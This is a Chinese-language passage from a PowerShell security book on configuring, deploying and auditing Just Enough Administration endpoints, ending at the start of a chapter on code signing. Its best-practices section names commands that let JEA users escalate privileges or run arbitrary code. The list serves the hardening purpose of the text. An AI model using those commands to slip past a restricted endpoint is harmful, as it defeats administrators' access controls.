你可以使用FormatsToProcess参数来指定当前会话中应该加载哪些格式化文件。类似于类型文件,格式化文件也配置在以.ps1xml结尾的文件中。另外,对于FormatsToProcess,路径必须指定为完整路径或绝对路径:

FormatsToProcess = 'C:\tmp\CustomFormatFile.ps1xml'

你可以在官方文档中找到更多关于格式化文件的信息:

docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_format.ps1xml

AssembliesToLoad

为了使二进制文件中包含的类型对你编写的脚本和函数可用,可以使用AssembliesToLoad参数来指定所需的程序集。这样,你就可以在 JEA 会话中利用这些程序集提供的功能:

AssembliesToLoad = "System.Web","FSharp.Compiler.CodeDom.dll", 'System.OtherAssembly, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'

如果你想了解更多关于 JEA 角色功能文件以及更多选项,比如为某个角色创建专用的自定义函数,请参考官方文档:

docs.microsoft.com/zh-cn/powershell/scripting/learn/remoting/jea/role-capabilities

如果你希望更新角色功能文件,可以随时通过保存对角色功能文件的更改来完成。任何在更改后建立的新的 JEA 会话都将反映这些更新的更改。

当用户被授予多个角色功能时,这些角色功能也可以合并。请参考官方文档了解在这种情况下将应用哪些权限:

docs.microsoft.com/zh-cn/powershell/scripting/learn/remoting/jea/role-capabilities#how-role-capabilities-are-merged

现在你已经定义了你的角色——为了更好的概览,可以将每个角色创建在单独的角色功能文件中——接下来是将这些角色分配给特定用户和组,并定义会话特定的参数。这可以通过会话配置文件来完成。

会话配置文件

使用会话配置文件,你可以指定谁可以连接到哪个端点。你不仅可以将用户和组映射到特定的角色,还可以配置全局会话设置,比如连接到会话时应该执行哪些脚本、日志策略或连接时将使用哪个身份(例如,虚拟账户或组托管服务账户gMSAs))。如果需要,你还可以按每台机器配置会话文件。

你可以使用New-PSSessionConfigurationFile cmdlet 创建骨架会话配置文件:

New-PSSessionConfigurationFile -Path .\JEA_SessionConfigurationFile.pssc

类似于创建骨架角色功能文件,会创建一个可以编辑的预填充会话配置文件:

图 10.10 – 一个空的骨架会话配置文件

图 10.10 – 一个空的骨架会话配置文件

在会话配置文件中,还有一些通用参数帮助您描述此文件。以下是其中的一些:

  • SchemaVersion:描述此文档的模式版本号,通常是 2.0.0.0,如果没有另行指定。

  • GUID:GUID 是一个唯一的、随机生成的 UID,用于标识此文件。

  • Author:创建此文档的作者。

  • Description:此会话配置文件的描述。最好具体描述,这样您可以轻松编辑和操作日益增长的配置文件库。

让我们看看您还可以使用会话配置文件配置哪些其他选项。

会话类型

会话类型指示创建了哪种类型的会话(按语言模式划分)以及允许哪些命令。在 JEA 会话配置文件中,您应该始终配置 SessionType = '****RestrictedRemoteServer'

在常规会话文件中,您可以为此参数使用以下值:

  • Default:此配置提供不受限制的 PowerShell 终端。这意味着用户可以运行系统上可用的任何命令。在配置 JEA 时不推荐使用此会话类型。

  • Empty:会话中未添加任何模块和命令。仅当您在会话配置文件中配置了 VisibleCmdletsVisibleFunctions 和其他参数时,您的会话才会被填充。在配置 JEA 时不要使用这些设置,除非您有用例需要限制在配置 RestrictedRemoteServer 时允许的 cmdlet。

  • RestrictedRemoteServer:当创建 JEA 会话配置文件时,应使用此值。它适当地限制了语言模式,并且仅导入一小部分基本命令,如 Exit-PSSessionGet-CommandGet-FormatDataGet-HelpMeasure-ObjectOut-DefaultSelect-Object,这些足以完成大多数管理任务。此配置提供更高的安全级别,因为它限制了访问潜在危险的 cmdlet 和函数。

在创建基础会话配置文件时,您可以使用 -SessionType 参数直接配置会话类型,如下所示:

> New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA_SessionConfigurationFile.pssc

TranscriptDirectory

会话记录会记录特定会话中运行的所有命令以及其输出。建议对每个用户使用会话记录并审计正在执行的命令。这可以通过使用 TranscriptDirectory 参数实现。

首先,确保在 JEA 端点上预先配置一个文件夹来存储转录文件。此文件夹需要是一个受保护的文件夹,以确保普通用户无法修改或删除该文件夹中的任何数据。此外,确保本地系统帐户已配置为具有读写访问权限,因为该帐户将用于创建转录文件。

最好确保转录文件定期上传并解析到你的安全信息和事件管理SIEM)系统中,以便它们存储在一个集中位置。还要确保实现日志文件轮换机制,以避免硬盘空间耗尽。

一切都配置好了吗?很好!现在,是时候在会话配置文件中配置预先配置的文件夹路径了,具体如下:

TranscriptDirectory = 'C:\Jea-Transcripts'

使用前述配置将所有转录写入C:\Jea-Transcripts文件夹。新文件将始终使用时间戳生成,以确保没有文件被覆盖。

除了TranscriptDirectory参数之外,还要确保实现适当的审计。有关详细信息,请参阅第四章检测 – 审计与监控

配置 JEA 身份

使用 JEA 时,你不会在目标系统上使用常规帐户。那么,实际上会使用哪个帐户呢?

在 JEA 中,身份有两种选择:使用虚拟帐户gMSA。除非在 JEA 会话中需要访问网络资源,否则你应该始终优先选择使用虚拟帐户。在接下来的部分中,我们将详细了解这两种选择,并探讨为什么虚拟帐户是更安全的选项。

虚拟帐户

如果有疑问,配置虚拟帐户应该始终是你的首选选项。虚拟帐户是一个临时管理员帐户,在 JEA 会话开始时创建,并在会话结束时销毁。这意味着它只在远程会话期间存在,是提供临时管理员访问的安全选项。一个巨大优势是,在任何时候,都没有可重用的凭据进入系统。

当连接到端点时,非管理员用户会以特权虚拟帐户身份连接并在会话中运行所有命令。此帐户是域控制器DCs)上的本地管理员或域管理员帐户,但仍然受到限制,只能运行此角色允许的命令。

为了更容易跟随这个示例,我创建了一个简单的脚本来创建一个ServerOperator角色,并与一个会话配置一起注册,让连接用户以虚拟帐户身份连接。让我们使用这个配置来演示本章中的示例。

你可以在本书的 GitHub 仓库中找到脚本,地址为github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/JEA-ServerOperator.ps1

在我的示例中,我在PSSec-Srv01上执行所有命令,这是一台加入PSSec域的 Windows 2019 服务器。

首先,确保你要为其配置ServerOperator角色的帐户已存在于你的环境中,并且可能需要调整脚本中的用户名。在我的示例中,用户是PSSec\mwiesner

然后,从 GitHub 仓库运行JEA-ServerOperator.ps1脚本,确保ServerOperator JEA 端点已成功创建。

一旦端点成功创建,使用ServerOperator JEA 会话建立到本地主机的会话:

> Enter-PSSession –ComputerName localhost –ConfigurationName ServerOperator -Credential $ServerOperator

一旦建立了依赖虚拟帐户的 JEA 会话,让我们通过在单独的提升权限的 PowerShell 控制台中运行Get-LocalUser命令,来检查实际的本地用户帐户。如你所见,没有为 JEA 连接创建额外的本地帐户:

图 10.11 – 未创建额外的本地帐户

图 10.11 – 未创建额外的本地帐户

为了验证在当前机器运行时间内哪些虚拟帐户已登录或正在登录,我编写了一个脚本,帮助你查看为 JEA 会话创建了哪些虚拟帐户:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/Get-VirtualAccountLogons.ps1

该脚本使用Get-CimInstance检索有关登录用户及其登录会话的信息,合并这些信息,并显示哪些虚拟帐户已创建以及会话是仍然活跃还是不活跃。

以下截图展示了Get-VirtualAccountLogons.ps1脚本的输出:

图 10.12 – 可以使用 Get-VirtualAccountLogons.ps1 脚本评估当前运行时间的虚拟帐户使用情况

图 10.12 – 可以使用 Get-VirtualAccountLogons.ps1 脚本评估当前运行时间的虚拟帐户使用情况

所有在操作系统重启之前创建的虚拟帐户都会缓存到通用信息模型CIM)表中,因此你可以看到过去和当前的虚拟帐户连接。如果会话仍然建立,脚本会显示ActiveSession: True

所有通过已建立的 JEA 会话生成的虚拟帐户名称都遵循 "WinRM VA_<number>_<domain>_<username>" 方案。如果同一用户帐户建立了多个会话,则该数字会相应增加。

你知道吗?

还可以通过使用已弃用的 Get-WmiObject win32_process).GetOwner().User** **Windows Management** **Instrumentation** (WMI**) 命令来检索当前所有用户的列表。

因此,如果你不需要访问网络资源,配置 JEA 会话身份的最佳选择是使用虚拟帐户。

gMSA

如果你需要访问网络资源(例如,其他服务器或网络共享),则 gMSA 是虚拟帐户的替代方案。

你可以在官方文档中找到有关如何创建和配置 gMSA 的更多信息:

https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview

你可以使用 gMSA 帐户对域进行身份验证,从而访问任何已加入域的计算机上的资源。用户通过 gMSA 帐户获得的权限由将要访问的资源决定。只有在显式授予 gMSA 帐户管理员权限时,使用该帐户的用户才会拥有管理员权限。

gMSA 是由 Active Directory 管理的帐户,并且会定期更改其密码。因此,密码可能会被对手重新使用——如果被捕获——但仅限于有限的时间。

最理想的情况是使用虚拟帐户;仅在你的任务确实需要访问某些网络资源时,才使用 gMSA 帐户,典型的情况包括:

  • 在 gMSA 身份下,确定是谁执行了哪些操作更加困难,因为同一个帐户是所有连接到同一 gMSA 会话的用户共享使用的。要确定是哪位用户执行了哪项操作,你需要将 PowerShell 会话的转录文件与事件日志中的相应事件进行关联。

  • 有可能授予比 JEA 配置计划更多的权限,因为 gMSA 帐户可能有权访问许多不需要的网络资源。始终遵循最小权限原则,以有效限制你的 JEA 会话。

gMSA 仅适用于从 Windows PowerShell 5.1 或更高版本开始,并且只能在已加入域的计算机上使用。当然,如果你不希望将计算机加入生产域,也可以使用独立域。

选择 JEA 身份

一旦你选择了想要用于连接 JEA 会话的身份,就可以开始配置它。你需要配置一个虚拟帐户或 gMSA,并可以在 JEA 会话配置文件中进行设置。

使用以下选项配置本地虚拟帐户:

  • RunAsVirtualAccount = $****true

  • RunAsVirtualAccountGroups = '****NetworkOperator', 'NetworkAuditor'

使用RunVirtualAccountGroups参数,你可以定义虚拟帐户应该在哪些组中存在。为了防止虚拟帐户默认被添加到本地或域管理员组中,你需要指定一个或多个安全组。

使用GroupManagedServiceAccount参数定义 gMSA,如下所示:

GroupManagedServiceAccount = 'MyJEAgMSA'

另外,参考官方的会话配置文档:

docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/session-configurations

ScriptsToProcess

类似于ScriptsToProcess,它可以在角色能力文件中进行配置。请参阅名为角色能力文件的章节中的ScriptsToProcess子节,了解更多信息以及如何配置它。

如果在角色能力文件中为角色配置了ScriptsToProcess,它只适用于该角色。如果在会话配置文件中配置,它适用于所有与此特定会话关联的角色。

角色定义

角色定义将你在角色能力文件中配置的角色与当前会话配置文件连接,并可以在哈希表中进行配置,如下所示:

RoleDefinitions = @{
    'CONTOSO\JEA_DNS_ADMINS' = @{ RoleCapabilities = 'DnsAdmin', 'DnsOperator', 'DnsAuditor' }
    'CONTOSO\JEA_DNS_OPERATORS' = @{ RoleCapabilities = 'DnsOperator', 'DnsAuditor' }
    'CONTOSO\JEA_DNS_AUDITORS' = @{ RoleCapabilities = 'DnsAuditor' }
}

你可以将一个或多个角色能力分配给用户帐户或活动目录组。

条件访问

JEA 本身已经是一个限制角色在终端上执行特定命令的极佳选择,但所有分配了角色的用户或组都能够运行配置的命令。但如果你希望设置更多的限制,比如—例如—强制用户还使用多因素 认证MFA)呢?

这时,额外的访问控制起作用了。使用RequiredGroups参数,你可以强制要求连接的用户属于一个定义的组——你可以使用这个组来强制对用户施加更多的条件。

使用AndOr有助于你定义更细化的规则。

使用以下示例,所有连接的用户必须属于名为MFA-logon的安全组;只需使用And条件:

RequiredGroups = @{ And = 'MFA-logon' }

有时,你可能有不同的认证方式或额外的安全要求。所以,如果你希望连接的用户属于MFA-logon smartcard-logon组,可以使用Or条件,如以下示例所示:

RequiredGroups = @{ Or = 'MFA-logon', 'smartcard-logon' }

当然,你也可以通过结合AndOr条件来创建更复杂的嵌套条件。

在以下示例中,连接的用户需要是elevated-jea组的成员,并且需要通过 MFA 或智能卡进行登录:

RequiredGroups = @{ And = 'elevated-jea', @{ Or = 'MFA-logon', 'smartcard-logon' }}

然而,无论你使用哪种配置选项,始终确保测试你的条件是否按计划应用。

用户驱动

通过配置和利用用户驱动器,可以从 JEA 会话中远程复制文件。例如,你可以从会话中复制日志文件,以便稍后在你的正常工作计算机上进行详细分析。

要配置一个容量为 10MB 的用户驱动器,请使用以下配置:

MountUserDrive = $true
UserDriveMaximumSize = 10485760

访问已配置用户驱动器的 JEA 会话后,你可以轻松地从会话中复制文件或将文件复制到会话中。

以下示例展示了如何将myFile.txt文件复制到你的$ServerOperator JEA 会话中:

Copy-Item -Path .\myFile.txt -Destination User: -ToSession $ServerOperator

下一个示例展示了如何从$ServerOperator JEA 会话中的远程计算机复制access.log文件到本地会话:

Copy-Item -Path User:\access.log -Destination . -FromSession $jeasession

尽管你可以从 JEA 会话中复制文件或将文件复制到该会话中,但无法在远程计算机上指定文件名或子文件夹。

如果你想了解更多关于 PowerShell 驱动器的信息,可以查看docs.microsoft.com/en-us/powershell/scripting/samples/managing-windows-powershell-drives

访问权限(SDDL)

JEA 会话的访问权限是通过 SDDL 进行配置的。

因此,当你使用 JEA 时,SDDL 将在为会话配置分配用户/组访问控制列表(ACL)时自动进行配置。组和安全标识符(SID)会被查找并自动添加到会话配置中,确保拥有适当级别的访问权限。

你可以通过运行(Get-PSSessionConfiguration –Name <会话配置名称>).SecurityDescriptorSddl 命令来查找会话配置的 SDDL:

图 10.13 – 查找会话配置的 SDDL

图 10.13 – 查找会话配置的 SDDL

请参考官方文档了解更多关于 SDDL 语法的信息:

https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language

部署 JEA

要部署 JEA,你需要了解你想要限制的用户使用了哪些命令。如果你问我,这是 JEA 中最难的部分。

但是有一些工具,例如我自己编写的开源项目 JEAnalyzer,可以大大简化这项任务。稍后我会在本章中回到这个工具。

确定了要限制的命令和用户/组后,首先创建一个会话能力文件和一个角色能力文件。下图展示了部署 JEA 所需的步骤:

图 10.14 – 部署 JEA 的步骤

图 10.14 – 部署 JEA 的步骤

创建了两个必需的文件之后,请确保在使用Test-PSSessionConfigurationFile -Path <会话配置文件的路径> cmdlet 部署文件之前检查会话配置文件的语法。

如果需要更改 JEA 会话配置,例如,将用户映射或移除到角色中,你将始终需要取消注册并重新注册 JEA 会话配置。如果只想更改角色能力文件中配置的角色,仅需更改配置,无需重新注册会话配置。

你还可以通过运行**Get-PSSessionCapability –ConfigurationName -**Username <username>来验证特定用户在特定会话中会获得哪些能力。

一旦准备好进行部署,你需要决定使用哪种部署机制。可以选择手动注册会话或使用期望状态配置DSC)进行部署。

手动注册

如果你只想在少数机器上测试配置,或者只需要管理小型环境,那么手动注册机器是一个不错的选择。当然,你也可以使用手动注册命令来编写部署脚本,但你仍然需要找到一种方法来部署你的脚本。

因此,对于大型环境,DSC 可能是更适合的解决方案。

在手动注册之前,请确保至少向RoleCapabilities文件中添加了一个角色,并且已经创建并测试了附带的会话配置文件。

为了成功注册 JEA 配置,你需要在系统上具有本地管理员权限。

如果一切就绪,请根据你的配置调整以下命令并在终端上运行它进行配置:

Register-PSSessionConfiguration -Path .\MyJEAConfig.pssc -Name 'JEAMaintenance' -Force

注册会话后,确保重启 WinRM 服务,以确保新会话已加载并处于活动状态:

Restart-Service -name WinRM

有关工作示例,请参考本书 GitHub 仓库中的演示配置文件:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/JEA-ServerOperator.ps1

通过 DSC 进行部署

在大型环境中,利用 DSC 可能是值得的。DSC 是一种非常酷的方式,可以让你的远程服务器“照做”,并定期应用你选择的配置。

即使有人更改了服务器上的配置,通过配置 DSC 后,你的服务器也可以自我重置,无需管理员干预,因为它们可以定期拉取并调整其配置,确保与预设的基准一致。

DSC 是一个很大的话题,因此我无法详细描述整个技术,但如果你想了解更多,查看第十三章**,其他内容?– 进一步的缓解措施和资源,并查看官方文档。

有关基本 JEA DSC 配置,请参阅注册 JEA 配置文档:

docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/register-jea?#multi-machine-configuration-with-dsc

连接到会话

一旦你设置好 JEA 会话,请确保应该连接到 JEA 会话的用户已配置 从网络访问此计算机 的用户权限。

现在是关键时刻,你可以连接到 JEA 会话了:

Enter-PSSession –ComputerName <computer> –ConfigurationName <configuration name>

默认情况下,无法在命令行上使用 Tab 键自动完成命令。如果你希望能够使用这一功能,建议使用 Import-PSSession,它允许像 Tab 补全这样的功能正常工作,而不影响安全性:

> $jeasession = New-PSSession –ComputerName <computer> –ConfigurationName <configuration name>
> Import-PSSession -Session $jeasession -AllowClobber

不建议将 TabExpansion2 函数配置为可见函数,因为它会执行各种代码,对你的安全环境构成风险。

要显示本地计算机上所有可用的会话配置,运行 Get-PSSessionConfiguration

一旦你成功配置、部署并测试了 JEA 会话,确保删除连接用户的所有其他访问方式。即使你部署了最好的 JEA 配置,如果用户可以通过其他连接方式绕过它,那也是毫无意义的——例如,通过远程桌面连接。

部署 JEA 一开始看起来像是需要大量工作,对吧?但别担心——实际上有一些方法可以简化你的工作,比如 JEAnalyzer。

使用 JEAnalyzer 简化你的部署

当我第一次了解 JEA 时,我曾热衷于推广它,并告诉每个人这个解决方案有多么强大。将用户可以运行的命令严格限制为仅需的命令,难道不是很棒吗?通过 JEA 和虚拟账户完全避免传递哈希值,配置虚拟账户难道不令人惊叹吗?

是的,确实如此!但当我向客户介绍 JEA 和它的强大功能时,我很快就收到了重复的问题:我们如何找出用户和管理员正在使用哪些命令?我们如何以 最简单的方式创建这些角色能力文件?

这也是我想到 JEAnalyzer 模块的时刻。在我启动这个项目后,我的朋友 Friedrich Weinmann 也对这个项目产生了浓厚的兴趣。当我换了工作,几乎不再和客户讨论除 Microsoft Defender for Endpoint 以外的其他话题时,我很高兴他接管了我开始的项目,维护了该仓库,并将我们剩余的共同愿景融入其中。

你可以在 GitHub 上找到 JEAnalyzer 仓库:

github.com/PSSecTools/JEAnalyzer

JEAnalyzer 是一个 PowerShell 模块,可以通过 PowerShell Gallery 轻松安装,使用Install-Module JEAnalyzer -Force命令。安装过程中同意所有弹出窗口,由 NuGet 等提供的弹窗后,模块将被安装并可以使用Import-Module JEAnalyzer导入。

在本书写作时,JEAnalyzer 的最新版本是 1.2.10,包含 13 个功能,如下所示:

图 10.15 – JEAnalyzer 的可用功能

图 10.15 – JEAnalyzer 的可用功能

每个功能都有很好的文档说明,因此我不会描述所有功能,只会介绍一些最重要的功能,帮助你找出用户使用的命令,以及如何通过 JEAnalyzer 简单创建你的第一个角色能力和会话配置文件。

将脚本文件转换为 JEA 配置

如果你有某些脚本逻辑需要在 JEA 会话中运行,并且只想将脚本转换为端点配置,JEAnalyzer 可以帮你实现。

作为一个示例脚本文件,我使用了导出 AD 用户到 CSV脚本,该脚本最初由 Victor Ashiedu 于 2014 年编写。你可以在这里找到该脚本的版本:

github.com/sacroucher/ADScripts/blob/master/Export_AD_Users_to_CSV.v1.0.ps1

下载脚本并将其保存在 C:\DEMO\ext\Export_AD_Users_to_CSV.v1.0\Export_AD_Users_to_CSV.v1.0.ps1 路径下。同时,在 C:\JEA\ 目录下创建一个文件夹来存储输出文件。

在做好准备后,从本书的 GitHub 仓库下载脚本,并确保逐条执行命令。不要一次性运行整个脚本,确保你理解每个步骤——脚本有详细的注释。

你可以在这里找到该脚本:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/JEAnalyzer-AnalyzeScripts.ps1

本示例中使用的 JEAnalyzer 最重要的命令列出如下:

  • Read-JeaScriptFile:解析并分析脚本文件中的合格命令。确保使用 -Path 参数指定脚本路径。

  • Export-JeaRoleCapFile:将命令列表转换为 JEA 角色能力文件。

进入新创建的会话并分析配置的命令后,你可以看到所有使用的命令以及标准会话功能在该会话中都是允许的:

图 10.16 – 显示所有允许的功能和命令

图 10.16 – 显示所有允许的功能和命令

但有时,单纯审计和配置脚本文件是不够的;有时你还需要为用户和管理员配置会话,允许使用常用命令和功能。

使用审计来创建你的初始 JEA 配置

要跟随这个示例,你需要从 GitHub 仓库中获取本节的脚本:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/JEAnalyzer-AnalyzeLogs.ps1

类似于转换脚本文件的演示脚本,不要一次性运行整个脚本,而是逐条命令运行,以便理解示例。

作为先决条件,请确保安装 ScriptBlockLoggingAnalyzer 模块,该模块由 Dr. Tobias Weltner 创建:

> Install-Module ScriptBlockLoggingAnalyzer

此外,在我们能够利用审计之前,我们需要启用 ScriptBlockLogging。因此,您可以手动在本地计算机上启用 ScriptBlockLogging,或者确保在多台计算机上启用它。更多关于 ScriptBlockLogging 的内容,请参见第四章检测 - 审计与监控

使用这些命令,你可以在本地计算机上手动启用 ScriptBlockLogging,如下所示:

> New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
> Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Force

在脚本的某些部分,你将被要求以另一个用户身份运行一些命令。在我的演示环境中,我以 mwiesner 用户身份运行命令。如果你为演示目的配置了其他用户,请确保在自定义用户账户下运行此会话,并根据需要调整脚本。

要以 mwiesner 或其他用户身份运行命令,请右键单击 PowerShell 控制台并选择 以不同用户身份运行。根据系统的配置,可能需要按住 Shift 键并右键单击 PowerShell 控制台,以使此选项显示出来。

在此会话中运行一些演示命令。你可以在脚本中找到一些示例。只需确保按顺序运行每个命令,不要将其作为一个大的脚本块运行。

然后,按照脚本的示例,分析命令,并从已审计的命令中创建初始的 JEA 配置。此脚本中使用的最重要的命令如下所示:

  • Get-SBLEventScriptBlockLoggingAnalyzer 模块):从 PowerShell 审计日志中读取 ScriptBlockLogging 事件

  • Read-JeaScriptblock:解析并分析传入的代码以获取合格的命令,当使用 -****ScriptCode 参数时指定。

  • Export-JeaRoleCapFile:将命令列表转换为 JEA 角色能力文件

使用该脚本探索如何从已审计的命令创建初始的 JEA 会话,并根据需要调整使用的命令。这样,你就可以轻松地创建一个初始的 JEA 角色能力文件,并在之后进行调整和精细化。

但是,一旦开始使用 JEA,审计在你的 JEA 会话中非常重要。接下来的章节将介绍如何利用审计并链接与你的用户的 JEA 会话相关的重要事件。

在 JEA 会话中的日志记录

使用 JEA 时,当然可以进行日志记录,且你应该实现它并定期审查审计日志,以确保你的 JEA 配置不会以意外的方式被滥用。

我们已经在 第四章 中详细介绍了日志记录,检测 – 审计和监控,因此这里只做一个关于 JEA 日志记录的重要性的小结。

监视记录

始终为通过 JEA 会话运行命令的用户配置监视记录。监视记录可以通过 会话配置文件 中的 TranscriptDirectory 参数进行配置,正如我们在 TranscriptDirectory 部分所讨论的那样。

确保保护配置的文件夹,以防其内容被对手篡改。同时定期转发、解析并审查转录记录。

监视记录包含有关用户、虚拟用户、会话中执行的命令等信息。

PowerShell 事件日志

PowerShell 事件日志不仅仅用于找出谁运行了哪些命令,当启用脚本块日志记录时,所有 PowerShell 操作也会记录在常规 Windows 事件日志中。

启用脚本块日志记录以及模块日志记录,并在 PowerShell 操作日志 中查找事件 ID 4104。在远程机器上,如果使用的是虚拟账户,你需要查找的用户是 WinRM 虚拟用户。如果使用的是 gMSA 账户,则需要注意这个账户。以下截图显示了一个虚拟账户的脚本块日志记录事件:

图 10.17 – 虚拟账户显示为用户名

图 10.17 – 虚拟账户显示为用户名

特别关注 PowerShell 操作日志中的事件 ID 4100、4103 和 4104。在某些情况下,你会看到连接的用户是实际用户,而指定的用户是 WinRM 虚拟账户。

其他事件日志

与 PowerShell 操作日志和转录记录不同,其他日志机制无法捕获连接的用户。要找出哪些用户在何时连接,你需要进行事件日志关联。

要做到这一点,请在 WinRM 操作日志 中查找事件 ID 193,以找出哪个用户请求了哪个虚拟账户或 gMSA:

图 10.18 – 使用 WinRM 操作日志进行关联

图 10.18 – 使用 WinRM 操作日志进行关联

你还可以通过查找事件 ID 46244625 从安全日志中获取更多详细信息。在以下示例截图中,我们看到两个事件 ID 为 4624账户已成功登录)的事件,它们是在同一时间生成的——一个显示的是常规账户登录,另一个显示的是虚拟账户登录:

图 10.19 – 比较常规账户与虚拟账户登录

图 10.19 – 比较常规账户和虚拟账户登录

如果你想查找更多其他事件日志中的活动,使用 Logon ID 值来关联活动与已识别的登录会话。

账户注销可以通过事件4634识别。有关更多关于 Windows 事件日志的信息,请参考 第四章检测 – 审计与监控

最佳实践 – 避免风险和可能的绕过方法

JEA 是加固你的环境的一个好选择,它允许管理员和用户只执行他们日常工作所需的命令。但像其他技术一样,JEA 也可能配置错误,存在一些你需要注意的风险。

不要授予连接用户管理员权限以绕过 JEA——例如,允许命令编辑管理员组,如Add-ADGroupMemberAdd-LocalGroupMembernet.exedsadd.exe。恶意管理员或被攻击的账户可能会轻易提升权限。

另外,不要允许用户运行任意代码,如恶意软件、漏洞利用或自定义脚本来绕过保护。你需要特别注意的命令有(但不限于)Start-ProcessNew-ServiceInvoke-ItemInvoke-WmiMethodInvoke-CimMethodInvoke-ExpressionInvoke-CommandNew-ScheduledTaskRegister-ScheduledJob等。

如果你的管理员确实需要其中一些高风险命令,你可以尝试通过配置专用参数或创建并允许自定义函数来细化配置。

尽量避免使用通配符配置,因为它们可能被篡改,并且在使用帮助你创建配置的工具时要小心;在生产环境中使用之前,务必仔细审查和测试配置。

为了保护你的角色能力和会话配置文件免受篡改,请使用签名。确保实施适当的日志记录机制,并确保转录文件和事件日志的安全。还要定期审查它们。

最后但同样重要的是,当系统上线时,要意识到,如果你不撤销管理员权限和远程桌面访问权限,以上所说的任何措施都没有意义!

概述

本章中,你了解了语言模式是什么以及它们与 JEA 的区别。你还学习了什么是 JEA 以及如何设置它。

你现在知道了可以使用哪些参数来创建你自己的定制 JEA 角色能力和会话配置文件(或者至少知道在哪里查找它们),以及如何注册和部署你的 JEA 端点。

按照本书 GitHub 仓库中的示例,你已经成功创建并探索了自己的 JEA 会话,并且你已经获得了如何在自己的环境中使用 JEAnalyzer 创建简单配置的选项。当然,你仍然需要对配置进行微调,但第一步已经轻松完成。

你已经了解了如何解读日志文件,以便在不同的事件日志中关联 JEA 会话,以及在创建 JEA 配置时需要注意的风险。

JEA 是定义哪些命令可以由哪些角色执行的一个重要步骤,但有时你可能希望完全禁止某个特定应用程序,或者仅允许某些应用程序和脚本在你的环境中运行。在下一章中,我们将探索如何通过 AppLocker、应用程序控制和脚本签名来实现这一目标。

进一步阅读

如果你想深入探索本章中提到的一些话题,可以参考以下资源:

你还可以在 GitHub 仓库中找到本章提到的所有链接:第十章——无需手动输入每个链接:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/Links.md

第十一章:AppLocker、应用程序控制和代码签名

在企业环境中,控制安装了哪些软件以及哪些软件被排除在环境之外至关重要——不仅为了保持对可用软件的概览,还为了帮助抵御恶意脚本或恶意软件(如勒索病毒)等威胁。

但是,代码签名和应用程序控制如何帮助您更好地保护环境,如何实施它们呢?在规划实施应用程序控制解决方案时,您需要做什么,并且 Windows 操作系统上有哪些内建的应用程序控制解决方案?

在本章中,我们将深入探讨关于 AppLocker、应用程序控制和代码签名的内容。您将在本章中对以下主题有更深入的了解:

  • 使用代码签名防止未经授权的脚本执行

  • 控制应用程序和脚本

  • 熟悉 Microsoft AppLocker

  • 探索 Windows Defender 应用程序控制

技术要求

为了充分利用本章内容,请确保您具备以下条件:

使用代码签名防止未经授权的脚本执行

如果您想验证执行的脚本是否是合法代码,并且是否允许公司执行,您需要实施一个适当的代码签名策略。这是保护您定期执行的脚本不被篡改的绝妙方法——或者至少,如果有人篡改了您的脚本,在您的环境配置正确的情况下,它们将不会被执行。

需要注意的是,动态运行时在实施应用程序控制策略时可能会成为一个常见的盲点。虽然 PowerShell 在确保 PowerShell 运行时可以通过应用程序控制规则进行限制方面取得了显著进展,但其他动态运行时,如 Python、Node、Perl、PHP 等,可能仍然允许您运行未受限制的代码,这可能会带来漏洞,尤其是如果没有适当管理的话。如果您的客户端不需要其他动态运行时,最好将它们阻止或尽可能限制,以保持强大的安全态势。

WSH 语言家族通过一种非常直接的方式实现了应用程序控制意识:它们只是阻止执行任何不被政策允许的脚本。

当我们在早些章节讨论执行策略时,例如在第一章PowerShell 入门中,我们查看了AllSignedRemoteSigned参数。如果配置了AllSigned,则所有未签名的 PowerShell 脚本将被阻止运行;如果配置了RemoteSigned,则仅允许本地未签名脚本。当然,执行策略可以随时被绕过,因为它不是安全边界—但是,这可以防止用户无意中运行他们不知情的脚本。

将代码签名与其他工具(如 AppLocker 或WDAC)结合使用非常强大,因为你可以确保在你的基础设施中,只有配置的签名脚本可以运行,其他任何脚本都不被允许。

但要开始代码签名,首先我们需要一个证书来签署代码。你可以选择使用不同类型的证书。你可以选择自签名证书或公司为你购买的企业证书(可以是森林级或公共级证书)。

自签名证书通常仅用于测试目的,如果你希望将代码签名基础设施投入生产环境,你至少应该考虑使用由公司证书授权机构CA)签名的证书,以使你的部署更加安全。

以下图示应为你提供一个关于代码签名不同场景的概览:

图 11.1 – 代码签名证书的不同可能性概览

图 11.1 – 代码签名证书的不同可能性概览

本章中,我们将使用自签名证书来签署我们的脚本—如果你希望在生产环境中使用,请确保调整你的证书。

自签名证书仅在本地计算机上有效,可以使用New-SelfSignedCertificate cmdlet 创建。在早期,makecert.exe 被用来创建自签名证书,但自从 Windows 8 引入了New-SelfSignedCertificate后,你可以直接使用 PowerShell 创建自签名证书并签署脚本。

使用此 cmdlet 创建的证书可以存储在当前用户的个人证书存储中,路径为证书 | 当前用户 | 个人Cert:\CurrentUser\My),也可以存储在本地计算机的个人证书存储中,路径为证书 | 本地计算机 | 个人Cert:\LocalMachine\My)。在本地计算机的证书存储中创建的证书可供整个计算机使用,而在当前用户存储中创建的证书仅限于当前用户。

让我们创建一个自签名证书并将其添加到计算机的根证书存储区,以及计算机的受信任发布者存储区。首先,我们必须在本地计算机的证书存储区中创建一个名为“测试证书”的新证书,并将输出保存在$testCert变量中。我们稍后将需要这个变量来注册authenticode 证书

